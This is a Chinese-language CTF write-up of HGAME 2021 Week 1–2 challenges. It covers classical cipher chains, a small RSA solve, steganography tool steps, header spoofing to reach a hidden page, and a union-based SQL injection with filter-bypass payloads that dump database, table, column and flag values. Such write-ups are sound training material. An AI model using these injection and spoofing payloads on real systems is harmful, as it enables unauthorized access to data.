HGAME2021部分题目复现
@
Level-Week1
CRYPTO
まひと
hint: flag的格式为hgame{xxx}(重要)
题目描述: 大家好,我叫真人,来自咒术回战,你也可以叫我,缝合怪!!
---../-..../-..-./.----/-----/----./-..-./.----/-----/---../-..-./.----/.----/-----/-..-./----./-----/-..-./---../--.../-..-./...../...--/-..-./.----/-----/---../-..-./----./----./-..-./.----/-----/----./-..-./---../...../-..-./.----/.----/-..../-..-./---../....-/-..-./--.../.----/-..-./.----/-----/---../-..-./.----/.----/....-/-..-./----./--.../-..-./---../....-/-..-./.----/.----/..---/-..-./...../--.../-..-./---../-..../-..-./.----/-----/----./-..-./.----/.----/-..../-..-./.----/.----/-..../-..-./.----/-----/-----/-..-./.----/-----/--.../-..-./.----/.----/..---/-..-./.----/-----/...../-..-./--.../...--/-..-./---../....-/-..-./--.../-----/-..-./---../----./-..-./.----/-----/-----/-..-./-..../----./-..-./--.../-----/-..-./...../..---/-..-./----./-----/-..-./---../...--/-..-./--.../-----/-..-./.----/.----/.----/-..-./----./----./-..-./-..../----./-..-./....-/---../-..-./.----/..---/-----/-..-./.----/-----/.----/-..-./....-/---../-..-./....-/---../-..-./.----/.----/....-/-..-./--.../----./-..-./---../---../-..-./.----/-----/....-/-..-./.----/..---/-----/-..-./.----/-----/.----/-..-./.----/.----/-----/-..-./--.../....-/-..-./---../...../-..-./---../....-/-..-./---../-..../-..-./...../--.../-..-./--.../----./-..-./----./--.../-..-./.----/.----/-----/-..-./...../...--/-..-./.----/-----/-..../-..-./---../...../-..-./.----/-----/----./-..-./----./----./-..-./....-/---../-..-./.----/-----/.----/-..-./-..../...../-..-./-..../.----/-..-./-..../.----
摩斯密码转码
86/109/108/110/90/87/53/108/99/109/85/116/84/71/108/114/97/84/112/57/86/109/116/116/100/107/112/105/73/84/70/89/100/69/70/52/90/83/70/111/99/69/48/120/101/48/48/114/79/88/104/120/101/110/74/85/84/86/57/79/97/110/53/106/85/109/99/48/101/65/61/61
ascll码转字符串脚本
line = input()
array = list(map(int, line.split('/')))
length=len(array)
for i in range(length):
sum = chr(array[i])
print(sum, end='')
跑脚本得到
VmlnZW5lcmUtTGlraTp9VmttdkpiITFYdEF4ZSFocE0xe00rOXhxenJUTV9Oan5jUmc0eA==
Base64解密
Vigenere-Liki:}VkmvJb!1XtAxe!hpM1{M+9xqzrTM_Nj~cRg4x
维吉尼亚解密,密钥是Liki
}KccnYt!1NlPpu!zeE1{C+9pfrhLB_Fz~uGy4n
hint提示flag格式为hgame{}
,而第一位是}
,所以肯定最后结果要进行逆序,利用栅栏密码调试密文为flag的格式前6位
栅栏密码解密,栏数位6
}!!Ch~K1z+LucNe9BGclEp_ynP1fF4Yp{rzntu
将密文逆序得到
utnzr{pY4Ff1Pny_pElcGB9eNcuL+z1K~hC!!}
凯撒解密,得到flag
hgame{cL4Ss1Cal_cRypTO9rAphY+m1X~uP!!}
MISC
Base全家福
新年即将来临之际,Base家族也团聚了,他们用他们特有的打招呼方式向你问了个好,你知道他们在说什么吗?
R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09
Base64解码
GY4DMNZWGE3EINRVG5BDKNZWGUZTCNRTGMYDMRBWGU2UMNZUGMYDKRRUHA2DOMZUGRCDGMZVIYZTEMZQGMZDGMJXIQ======
Base32解码
6867616D657B57653163306D655F74305F4847344D335F323032317D
Base16解码
hgame{We1c0me_t0_HG4M3_2021}
Galaxy
题目描述:Akira的信物:用于提升Akira的潜能。一张藏着秘密的星空壁纸,不幸的是似乎在某次行动中遗失了。
用wireshark打开流量包,导出http对象,可以看到galaxy.png
修改图片的高度
得到flag
WEB
watermelon
题目描述:简单且上头的游戏
访问题目地址
在porject.js文件找到游戏结束条件,如果e>1999,会弹窗一段base64编码。
Base64解码即为flag
Hitchhiking_in_the_Galaxy
题目描述:第一次在银河系里搭顺风车,要准备啥,在线等,挺急的
点击蓝色字体,迅速跳转,查看源码,发现了HitchhikerGuide.php
bp抓包,提示方法错误
将请求方式改为POST,提示只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~
将请求头User-agent参数改为Infinite Improbability Drive
,又提示需要从https://cardinal.ink/
访问
修改Referer参数为https://cardinal.ink/
,又提示本地访问
添加请求头X-Fowarded-For: 127.0.0.1
,获取·flag
宝藏走私者
hint: 注意留意服务器信息
资料:https://paper.seebug.org/1048/
宝藏走私者 Switch 喜欢偷盗并将奇特的宝藏走私到一些黑市商家手中。
为了阻止其继续作恶,警探 Liki 奉命将 Switch 抓捕归案。
调查过程中,Liki 发现 Switch 将一个秘密藏在了一个私人服务器中。
这或许会成为后续追查 Switch 的重大线索,你能找到这个秘密吗?
http走私
Level-Week2
CRYPTO
WhitegiveRSA
Description:
N = 882564595536224140639625987659416029426239230804614613279163
e = 65537
c = 747831491353896780365654517748216624798517769637260742155527
已知n、e、密文c,求明文m,分解n得到p和q。
import gmpy2
import binascii
n = 882564595536224140639625987659416029426239230804614613279163
e = 65537
c = 747831491353896780365654517748216624798517769637260742155527
#1.将n分解为p和q
p = 857504083339712752489993810777
q = 1029224947942998075080348647219
phi = (p-1)*(q-1)
#2.求d
d = gmpy2.invert(e,phi)
#3.m=pow(c,d,n)
m = gmpy2.powmod(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))
#binascii.unhexlify(hexstr):从十六进制字符串hexstr返回二进制数据
运行结果
b'hgame{w0w~yOU_kNoW+R5@!}'
MISC
Tools
下载附件,解压得到F5.7z和Matryoshka.jpg
压缩包被加密了,查看图片属性得到!LyJJ9bi&M7E72*JyD
,压缩包名称提示是F5隐写,进入F5-steganography目录下
java Extract Matryoshka.jpg -p '!LyJJ9bi&M7E72*JyD'
得到out.txt,内容为
e@317S*p1A4bIYIs1M
得到压缩包密码,解压,同样得到01.jpg和Steghide.7z
加密的压缩包,查看图片属性得到A7SL9nHRJXLh@$EbE8
,压缩包名称提示是Steghide隐写
steghide extract -p 'A7SL9nHRJXLh@$EbE8' -sf 01.jpg
得到pwd.txt,内容为
u0!FO4JUhl5!L55%$&
又得到02.jpg和Outguess.7z,outguess隐写,密码为z0GFieYAee%gdf0%lF
outguess -k "z0GFieYAee%gdf0%lF" -r 02.jpg flag.txt
得到flag.txt
@UjXL93044V5zl2ZKI
又得到03.jpg和JPHS.7z,使用JPHS工具,密码是: rFQmRoT5lze@4X4^@0
得到03.txt
xSRejK1^Z1Cp9M!z@H
解压得到04.jpg,然后将四张二维码碎片拼接
扫码得到flag
hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}
Hallucigenia
本题根据官方wp复现
用Stegslove打开进行异或
扫码,是⼆进制⽂件
gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk=
使用脚本生成二进制文件flag.bin
from base64 import b64decode
open('flag.bin', 'wb+').write(b64decode(open('flag_inv_b64.txt', 'rb').read()))
⽤ 16 进制编辑器打开可以发现有 PNG、IHDR 等字样,猜测经过字节翻转 (左右翻转):
from base64 import b64decode
open('flag.png', 'wb+').write(b64decode(open('h.txt', 'rb').read())[::-1])
得到flag.png
上下翻转镜像,得到flag
hgame{tenchi_souzou_dezain_bu}
使用十六进制文件头尾逆序脚本,也可以得到
input = open('flag.bin', 'rb')
input_all = input.read()
ss = input_all[::-1]
output = open('flag.png', 'wb')
output.write(ss)
input.close()
output.close()
WEB
200OK!!
Description:
hint: status 字段会有什么坏心思呢?
hint: 这些字符串存在哪里呢?变量?还是...?
今天你 PTSD 了吗?
抓包发现跳转到/server.php,根据hint提示请求头的status处是注入点
fuzz了一下过滤了select、from、union等关键字,空格也被过滤了
1.查当前数据库
绕过空格过滤的方式: /**/、()、%0a
,剩下的尝试大写字母绕过,发现不行
⼤小写混合绕过
Payload: -1'/**/Union/**/Select/**/database();#
数据库名为week2sqli
2.爆表名
发现where的大小写也被过滤了,同样大小写混合绕过
Payload: -1'/**/Union/**/Select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema='week2sqli';#
查到数据表名f1111111144444444444g,status
3.爆字段
Payload: -1'/**/Union/**/Select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='f1111111144444444444g';#
字段为ffffff14gggggg
4.爆值
Payload: -1'/**/Union/**/Select/**/ffffff14gggggg/**/From/**/f1111111144444444444g;#
得到flag